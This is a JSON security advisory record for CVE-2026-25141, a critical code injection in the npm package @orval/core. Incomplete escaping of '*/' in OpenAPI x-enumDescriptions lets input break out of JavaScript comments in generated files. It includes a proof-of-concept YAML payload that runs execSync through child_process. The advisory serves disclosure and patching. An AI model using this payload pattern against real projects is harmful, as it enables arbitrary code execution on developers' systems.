{"id":"GHSA-gch2-phqh-fg9q","summary":"Orval has Code Injection via unsanitized x-enum-descriptions using JS comments","details":"[CVE-2026-23947](https://github.com/advisories/GHSA-h526-wf6g-67jv) had an incomplete fix\n\nWhile the current [jsStringEscape](https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227) function properly handles single quotes ('), double quotes (\") and other characters, it fails to sanitize * and / characters. This allows attackers to break out of JavaScript comment blocks using */ sequences and inject arbitrary code into generated files.\n\n**Example:**\n\n```yaml\nopenapi: 3.0.4\ninfo:\n  title: Enum PoC\n  version: \"1.0.0\"\n\npaths:\n  /ping:\n    get:\n      operationId: ping\n      responses:\n        \"200\":\n          description: ok\n          content:\n            application/json:\n              schema:\n                $ref: \"#/components/schemas/EvilEnum\"\n\ncomponents:\n  schemas:\n    EvilEnum:\n      type: string\n      enum:\n        - PWNED\n      x-enumDescriptions:\n        # \"pwned */ }; import('child_process').then(cp =\u003e cp.execSync('touch pwned')); const a = { /*\"\n        - \"pwned */ }; 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const a = { /*\"\n\n```","aliases":["CVE-2026-25141"],"modified":"2026-02-04T04:11:35.636982Z","published":"2026-01-30T21:17:25Z","related":["CVE-2026-25141"],"database_specific":{"cwe_ids":["CWE-84","CWE-94"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-01-30T21:17:25Z","nvd_published_at":"2026-01-30T21:15:58Z"},"references":[{"type":"WEB","url":"https://github.com/orval-labs/orval/security/advisories/GHSA-gch2-phqh-fg9q"},{"type":"WEB","url":"https://github.com/orval-labs/orval/security/advisories/GHSA-h526-wf6g-67jv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25141"},{"type":"PACKAGE","url":"https://github.com/orval-labs/orval"},{"type":"WEB","url":"https://github.com/orval-labs/orval/blob/02211fc413524be340ba9ace866a2ef68845ca7c/packages/core/src/utils/string.ts#L227"},{"type":"WEB","url":"https://github.com/orval-labs/orval/releases/tag/v7.21.0"},{"type":"WEB","url":"https://github.com/orval-labs/orval/releases/tag/v8.2.0"}],"affected":[{"package":{"name":"@orval/core","ecosystem":"npm","purl":"pkg:npm/%40orval/core"},"ranges":[{"type":"SEMVER","events":[{"introduced":"7.19.0"},{"fixed":"7.21.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-gch2-phqh-fg9q/GHSA-gch2-phqh-fg9q.json"}},{"package":{"name":"@orval/core","ecosystem":"npm","purl":"pkg:npm/%40orval/core"},"ranges":[{"type":"SEMVER","events":[{"introduced":"8.0.0"},{"fixed":"8.2.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-gch2-phqh-fg9q/GHSA-gch2-phqh-fg9q.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}